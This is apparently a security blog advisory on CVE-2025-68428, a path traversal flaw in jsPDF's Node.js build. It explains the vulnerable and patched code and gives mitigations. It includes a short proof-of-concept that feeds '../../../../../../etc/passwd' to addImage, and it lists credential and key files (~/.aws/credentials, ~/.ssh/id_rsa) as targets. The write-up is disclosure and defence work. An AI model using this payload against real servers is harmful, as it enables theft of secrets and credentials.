Hot Off the Press: Exfiltrating Server Secrets via jsPDF
Jan 6, 2026·7 min read
Executive Summary (TL;DR)
jsPDF, the ubiquitous JavaScript PDF generation library, has a massive hole in its Node.js implementation. Versions prior to 4.0.0 fail to validate file paths passed to methods like `addImage`. This allows an attacker to supply a path like `../../etc/passwd`, causing the server to read that file and helpfuly render its contents directly into a PDF, which can then be downloaded. It's essentially a 'Download Server Secrets as PDF' button.
A critical Local File Inclusion (LFI) vulnerability in the Node.js builds of jsPDF allows attackers to embed arbitrary local files (like /etc/passwd) into generated PDFs. The flaw stems from insufficient path validation in the file loading mechanism.
The Hook: When PDF Generation Goes Rogue
PDF generation is one of those mundane tasks that every web application eventually needs. Whether it's invoices, reports, or tickets, developers inevitably reach for jsPDF. It's the standard. It's easy. It works in the browser, and conveniently, it works in Node.js too. And that is exactly where the trouble starts.
In the browser, the filesystem is a distant memory, sandboxed away by the browser gods. But in Node.js, fs is king. When you use jsPDF on the server to generate a report, it needs to load assets—fonts, images, maybe some HTML snippets. To do this, it attempts to read files from the disk.
Here creates the perfect storm: a library designed primarily for the client-side (where file:/// is less dangerous) being ported to the server-side without a security-first mindset regarding file access. CVE-2025-68428 isn't just a bug; it's a fundamental misunderstanding of trust boundaries. By feeding the library a malicious path, we don't just crash the app; we force it to become an accomplice in its own looting, neatly formatting the server's sensitive configuration files into a portable document format.
The Flaw: A Tale of Unchecked Paths
The vulnerability hides in plain sight within the loadFile method (specifically the Node.js implementation). When you ask jsPDF to load an image or a font, it takes the URL or path you provide and hands it over to the underlying file system. A robust system would ask, "Is this path inside the directory I'm allowed to read?" jsPDF (pre-4.0.0) simply asked, "Does this file exist?"
The logic relied on path.resolve(url). Many developers mistakenly believe that path.resolve is a security function. It is not. It is a utility. It takes a relative path and makes it absolute. If I give it ../../../../etc/passwd, path.resolve dutifully returns /etc/passwd. It does not judge. It does not block.
Once the path was resolved, the code immediately called fs.readFileSync. There was no sandbox, no whitelist, and no chroot. If the Node.js process had read permissions on the file (which it usually does for the entire OS if not containerized properly), jsPDF would read it. The library then treats this raw data as the asset it was expecting. If you ask it to render /etc/shadow as a text block or embed it as a raw asset, it complies without hesitation.
The Code: The Smoking Gun
Let's look at the vulnerable code. It's shockingly simple, which makes it effective. This is a simplified view of src/modules/fileloading.js in the older versions:
// The Vulnerable Logic
var nodeReadFile = function(url, sync, callback) {
var fs = require("fs");
var path = require("path");
// 1. Resolve the path. This handles '..' but doesn't restrict it.
url = path.resolve(url);
// 2. Read the file. No questions asked.
if (sync) {
return fs.readFileSync(url, { encoding: "latin1" });
}
// ... async handling ...
};See the gap? Between step 1 and step 2, there is zero validation. An attacker controls url.
Now, compare this to the fix introduced in version 4.0.0 (commit a688c8f479929b24a6543b1fa2d6364abb03066d). The maintainers didn't just patch the hole; they built a fence, a moat, and a guard tower:
// The Patched Logic (v4.0.0)
// 1. Canonicalize to resolve symlinks and '..'
try {
url = fs.realpathSync(path.resolve(url));
} catch (e) { /* handle error */ }
// 2. DEFAULT DENY. If permissions aren't explicitly granted, crash.
if (!process.permission && !this.allowFsRead) {
throw new Error("FS read disabled by default. Use --permission or jsPDF.allowFsRead.");
}
// 3. Check the whitelist
if (this.allowFsRead) {
const allowRead = this.allowFsRead.some(allowedUrl => {
// Logic to match wildcards or exact paths
});
if (!allowRead) throw new Error(`Permission denied: ${url}`);
}The pivot from "allow everything" to "deny everything by default" is the only correct way to handle filesystem access in a library like this.
The Exploit: Publishing /etc/passwd
Exploiting this is trivially easy if you can influence the parameters passed to PDF generation. Imagine an endpoint that generates a badge or a certificate, allowing you to specify a background image or a custom font URL.
Here is a Proof of Concept script demonstrating the attack vector. We are acting as the developer writing the vulnerable code to show what happens when user input hits the fan:
import { jsPDF } from "./dist/jspdf.node.js";
// 1. Initialize the document
const doc = new jsPDF();
// 2. The Payload.
// In a real attack, this comes from req.body.imagePath
const maliciousPayload = "../../../../../../etc/passwd";
console.log("[*] Attempting to exfiltrate system files...");
try {
// 3. The Trigger.
// addImage calls loadFile internally.
// jsPDF tries to read the file to embed it.
doc.addImage(maliciousPayload, "JPEG", 0, 0, 10, 10);
// Note: This might throw an error during rendering if the
// file isn't a valid JPEG, but the READ operation happens first.
// However, if we use addFont or other text-based loaders,
// we can often extract the string data directly.
doc.save("hacked.pdf");
console.log("[+] PDF generated. Check the binary data for root users.");
} catch (e) {
console.log("[!] Error trigger, but file likely read into memory: ", e.message);
}Even if the addImage function fails because /etc/passwd isn't a valid JPEG, the file content has already been read into the process memory. If the application returns verbose error messages including the file content (rare but possible) or if we use a method that expects text (like HTML rendering or font loading), the data comes right back to us.
The Impact: Why Should We Panic?
The impact here is High Confidentiality Loss. We are talking about arbitrary file read. On a cloud server, this could mean reading:
- AWS/Cloud Credentials:
~/.aws/credentialsor environment variable files. - Source Code: Reading the application's own source code to find SQL injection vulnerabilities or hardcoded API keys.
- System Config:
/etc/passwd,/etc/hosts. - SSH Keys:
~/.ssh/id_rsa.
Because the output is a PDF, it bypasses many standard WAF rules that might look for reflected XSS or SQLi signatures in HTML responses. The data comes back encoded in a binary stream, looking like a legitimate file download. It's a clean, stealthy exfiltration channel.
The Fix: Lockdown
If you are running jsPDF in Node.js, you need to update to version 4.0.0 immediately. The new version disables filesystem access by default.
To make your application work again after the update, you have two choices:
-
The Application Whitelist (Good): Configure the
allowFsReadproperty on the jsPDF instance. Be specific. Do not use*unless you have a death wish.const doc = new jsPDF(); doc.allowFsRead = [ path.resolve(__dirname, 'assets/fonts/*'), path.resolve(__dirname, 'assets/images/logo.png') ]; -
The Node.js Permission Model (Best): This update supports Node.js's experimental permission model. This is the superior mitigation because it is enforced by the runtime, not just the library.
node --permission --allow-fs-read="/app/assets/*" server.js
By pushing the security check down to the Node.js runtime, you ensure that even if there is another logic bug in jsPDF's path handling, the OS-level (well, runtime-level) protections will catch it.
Fix Analysis (1)
Technical Appendix
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
jsPDF Parallax | < 4.0.0 | 4.0.0 |
| Attribute | Detail |
|---|---|
| CVSS v4.0 | 9.2 (Critical) |
| Attack Vector | Network (AV:N) |
| CWE ID | CWE-35 (Path Traversal) |
| CWE ID | CWE-73 (External Control of File Name) |
| Impact | High Confidentiality Loss |
| Privileges Required | None (PR:N) |
| User Interaction | None (UI:N) |
MITRE ATT&CK Mapping
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.